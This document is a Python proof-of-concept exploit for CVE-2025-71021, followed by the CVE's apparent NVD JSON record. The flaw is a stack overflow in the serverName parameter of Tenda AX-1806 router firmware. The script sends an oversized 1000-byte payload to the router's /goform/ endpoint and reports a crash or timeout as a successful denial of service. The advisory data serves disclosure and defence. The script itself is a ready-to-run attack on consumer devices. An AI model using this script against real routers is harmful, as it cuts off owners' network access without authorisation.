CVE-2025-71021

#!/usr/bin/env python3 """ CVE-2025-71021 PoC - Tenda AX-1806 Stack Overflow in serverName Parameter This PoC demonstrates a stack overflow vulnerability in the sub_65A28 function of Tenda AX-1806 v1.0.0.1 firmware via the serverName parameter. """ import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 CVE_ID = "CVE-2025-71021" def check_vulnerability(target_ip, port=80): """Check if target is vulnerable to CVE-2025-71021""" url = f"http://{target_ip}:{port}/goform/" # Payload with oversized serverName parameter to trigger stack overflow # The exact overflow length may vary; 1000+ bytes typically sufficient overflow_payload = "A" * 1000 # Construct the malicious request data = { "serverName": overflow_payload, "action": "submit" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload for {CVE_ID}") print(f"[*] Target: {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) # Check if device becomes unresponsive or returns error if response.status_code in [500, 502, 503] or len(response.content) < 50: print(f"[+] Exploit successful! Target may be crashed.") return True else: print(f"[*] Response received. Device may require multiple attempts.") return False except requests.exceptions.Timeout: print(f"[+] Exploit successful! Target did not respond (DoS confirmed).") return True except requests.exceptions.ConnectionError: print(f"[+] Exploit successful! Connection refused - target crashed.") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP print(f"[*] CVE-2025-71021 PoC - Tenda AX-1806 Stack Overflow") check_vulnerability(target, TARGET_PORT)

{"cve": {"id": "CVE-2025-71021", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:41.903", "lastModified": "2026-01-20T17:36:12.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the serverName parameter of the sub_65A28 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1806 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro serverName de la función sub_65A28. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1806_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "578F9769-EF24-4B52-83D3-9AA2C91A503D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1806:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACA44369-A513-474F-8DD0-A81B598F5B07"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/7/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}